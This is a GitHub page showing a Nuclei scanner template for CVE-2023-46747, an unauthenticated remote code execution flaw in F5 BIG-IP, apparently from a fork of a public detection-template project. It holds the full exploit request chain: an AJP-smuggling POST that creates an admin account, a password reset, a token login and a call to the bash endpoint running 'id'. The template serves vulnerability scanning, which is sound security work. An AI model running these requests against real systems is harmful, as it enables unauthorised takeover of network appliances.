

Product Solutions Resources Open Source Enterprise Pricing

🔍

Sign in

Sign up

🔗 jacy1101 / nuclei-templatesPublic

forked from projectdiscovery/nuclei-templates

<> Code

🔗 Pull requests

🎬 Actions

📁 Projects

🛡 Security

📊 Insights

📁 Files

🔍 2fef427

🔍 Go to file

> .github

> dns

> file

> headless

> helpers

> http

> cnvd

> credential-stuffing

> cves

> 2000

> 2001

> 2002

> 2004

> 2005

> 2006

> 2007

> 2008

> 2009

> 2010

> 2011

> 2012

> 2013

> 2014

> 2015

> 2016

> 2017

> 2018

> 2019

> 2020

> 2021

> 2022

> 2023

📄 CVE-2023-0099.yaml

📄 CVE-2023-0126.yaml

📄 CVE-2023-0236.yaml

nuclei-templates / http / cves / 2023 / CVE-2023-46747.yaml📄

actions-userTemplateMan Update [Mon Oct 30 20:55:37 UTC 2023] :rob...2fef427 · last year🕒 History

CodeBlame94 lines (80 loc) · 3.84 KB

Raw📄📥📦

1id: CVE-2023-46747

2

3info:

4name: F5 BIG-IP - Unauthenticated RCE via AJP Smuggling

5author: iamnoooob,rootxharsh,pdresearch

6severity: critical

7description: |

8CVE-2023-46747 is a critical severity authentication bypass vulnerability in F5 BIG

9reference:

10- https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smugg

11- https://my.f5.com/manage/s/article/K000137353

12classification:

13cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

14cvss-score: 9.8

15cve-id: CVE-2023-46747

16cwe-id: CWE-288

17epss-score: 0.00841

18epss-percentile: 0.80214

19metadata:

20verified: true

21max-request: 4

22shodan-query: http.title:"BIG-IP®-+Redirect" +"Server"

23tags: cve,cve2023,rce,f5,bigip,unauth,ajp,smuggling,intrusive

24variables:

25username: "{{hex_encode(rand_base(5))}}"

26password: "{{hex_encode(rand_base(12))}}"

27password2: "{{rand_base(14)}}"

28

29http:

30- raw:

31- |+

32POST /tmui/login.jsp HTTP/1.1

33Host: {{Hostname}}

34Transfer-Encoding: chunked, chunked

35Content-Type: application/x-www-form-urlencoded

36

37204

38{{ hex_decode(concat("0008485454502f312e310000122f746d75692f436f6e74726f6c2f6666

390

40

41unsafe: true

42

43- raw:

44- |+

45PATCH /mgmt/tm/auth/user/{{hex_decode(username)}} HTTP/1.1

46Host: {{Hostname}}

47Authorization: Basic {{base64(hex_decode(username)+":"+hex_decode(password))}}

48Content-Type: application/json

49

50{"password": "{{password2}}"}

51

52- |+





53POST /mgmt/shared/authn/login HTTP/1.1

54Host: {{Hostname}}

55Content-Type: application/json

56

Page 1 of 2

-  CVE-2023-0261.yaml
-  CVE-2023-0297.yaml
-  CVE-2023-0334.yaml
-  CVE-2023-0448.yaml
-  CVE-2023-0514.yaml
-  CVE-2023-0527.yaml



```
56
57     {"username":"{{hex_decode(username)}}", "password":"{{password2}}" }
58
59   - |+
60     POST /mgmt/tm/util/bash HTTP/1.1
61     Host: {{Hostname}}
62     X-F5-Auth-Token: {{token}}
63     Content-Type: application/json
64
65     {"command":"run","utilCmdArgs":"-c id"}
66
67   extractors:
68   - type: regex
69     part: body_2
70     name: token
71     group: 1
72     regex:
73       - "([A-Z0-9]{26})"
74     internal: true
75
76   - type: regex
77     part: body_3
78     group: 1
79     regex:
80       - "\"commandResult\":"\"(.*)\""
81
82   - type: dsl
83     dsl:
84       - '"Username:" + hex_decode(username)'
85       - '"Password:" + password2'
86       - '"Token:" + token'
87
88   matchers:
89   - type: word
90     words:
91       - "commandResult"
92       - "uid="
93
94     condition: and
95
96   # digest: 4b0a00483046022100f3feb0f8c5aab06503953b28079fdb0bb58850940db4d96a88c254734d2
```